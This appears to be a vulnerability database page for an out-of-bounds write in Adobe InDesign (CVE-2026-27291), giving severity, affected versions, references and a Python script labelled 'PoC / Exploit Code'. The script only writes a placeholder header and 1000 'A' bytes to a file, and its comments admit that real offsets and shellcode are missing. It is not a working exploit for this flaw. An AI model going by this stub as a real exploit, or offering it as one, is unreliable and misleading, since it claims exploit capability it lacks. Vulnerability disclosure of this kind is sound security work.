CVE-2026-27291

Description

InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:* - VULNERABLE

Adobe InDesign Desktop <= 20.5.2

Adobe InDesign Desktop <= 21.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# Proof of Concept for CVE-2026-27291 (Conceptual)
# This script generates a malicious file structure designed to trigger
# the out-of-bounds write vulnerability in Adobe InDesign.
# Note: Actual offset and payload bytes require further debugging.

def create_malicious_file(filename):
    with open(filename, 'wb') as f:
        # Generic header for the file type (e.g., placeholder for InDesign format)
        header = b'\x00\x00\x00\x00' 
        f.write(header)
        
        # Malicious block designed to overflow the buffer
        # Exploit logic: Write excessive data to trigger OOB write
        # Copy shellcode or ROP chain here
        payload = b'A' * 1000  
        f.write(payload)
        
    print(f"[+] Malicious file generated: {filename}")

if __name__ == "__main__":
    create_malicious_file("exploit.indd")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27291
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27291
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27291/
[4] VulDB https://vuldb.com/cve/CVE-2026-27291
[5] https://helpx.adobe.com/security/products/indesign/apsb26-32.html

Raw JSON Data

JSON

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